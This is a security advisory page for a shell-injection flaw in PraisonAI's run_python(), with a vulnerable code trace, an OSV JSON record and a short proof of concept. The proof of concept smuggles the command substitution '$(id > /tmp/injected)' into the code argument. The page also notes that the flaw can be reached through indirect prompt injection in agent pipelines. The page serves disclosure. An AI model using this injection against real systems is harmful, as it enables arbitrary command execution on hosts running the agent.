PYSEC-2026-2954
Vulnerability from pysec - Published: 2026-07-13 14:36 - Updated: 2026-07-13 16:05
VLAI
Details
Summary
run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "<code>" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.
Details
execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)
# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):
# hop -- incomplete escaping, $ and () not handled
escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
command = f'{python_cmd} -c "{escaped_code}"'
# sink -- shell=True expands $() before python3 runs
return execute_command(command=command, cwd=cwd, timeout=timeout)
# execute_command calls subprocess.run(command, shell=True, ...)
PoC
# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python
result = run_python(code='$(id > /tmp/injected)')
print(result)
# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Any agent pipeline or API consumer that passes user or task-supplied content to run_python() is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with AUTH_ENABLED = False by default when no token is configured.
Severity
7.8 (High)
Impacted products
| Name | purl | praisonaiagents | pkg:pypi/praisonaiagents |
|---|
Aliases
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "praisonaiagents",
"purl": "pkg:pypi/praisonaiagents"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.90"
}
],
"type": "ECOSYSTEM"
}
],
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]
}
],
"aliases": [
"CVE-2026-34937",
"GHSA-w37c-qqfp-c67f"
],
"details": "### Summary\n\n`run_python()` in `praisonai` constructs a shell command string by interpolating user-controlled code into `python3 -c \"\u003ccode\u003e\"` and passing it to `subprocess.run(..., shell=True)`. The escaping logic only handles `\\` and `\"`, leaving `$()` and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.\n\n### Details\n\n`execute_command.py:290` (source) -\u003e `execute_command.py:297` (hop) -\u003e `execute_command.py:310` (sink)\n```python\n# source -- user-controlled code argument\ndef run_python(code: str, cwd=None, timeout=60):\n\n# hop -- incomplete escaping, $ and () not handled\n escaped_code = code.replace(\u0027\\\\\u0027, \u0027\\\\\\\\\u0027).replace(\u0027\"\u0027, \u0027\\\\\"\u0027)\n command = f\u0027{python_cmd} -c \"{escaped_code}\"\u0027\n\n# sink -- shell=True expands $() before python3 runs\n return execute_command(command=command, cwd=cwd, timeout=timeout)\n # execute_command calls subprocess.run(command, shell=True, ...)\n```\n\n### PoC\n```python\n# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)\n# install: pip install -e src/praisonai\nimport sys\nsys.path.insert(0, \u0027src/praisonai\u0027)\nfrom praisonai.code.tools.execute_command import run_python\n\nresult = run_python(code=\u0027$(id \u003e /tmp/injected)\u0027)\nprint(result)\n\n# verify\nimport subprocess\nprint(subprocess.run([\u0027cat\u0027, \u0027/tmp/injected\u0027], capture_output=True, text=True).stdout)\n# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...\n```\n\n### Impact\n\nAny agent pipeline or API consumer that passes user or task-supplied content to `run_python()` is exposed to full OS command execution as the process user. The function is reachable via indirect prompt injection and the auto-generated Flask server deploys with `AUTH_ENABLED = False` by default when no token is configured.",
"id": "PYSEC-2026-2954",
"modified": "2026-07-13T16:05:45.579152Z",
"published": "2026-07-13T14:36:46.549725Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-w37c-qqfp-c67f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34937"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/praisonaiagents"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-w37c-qqfp-c67f"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PraisonAI: Shell Injection in run_python() via Unescaped $() Substitution"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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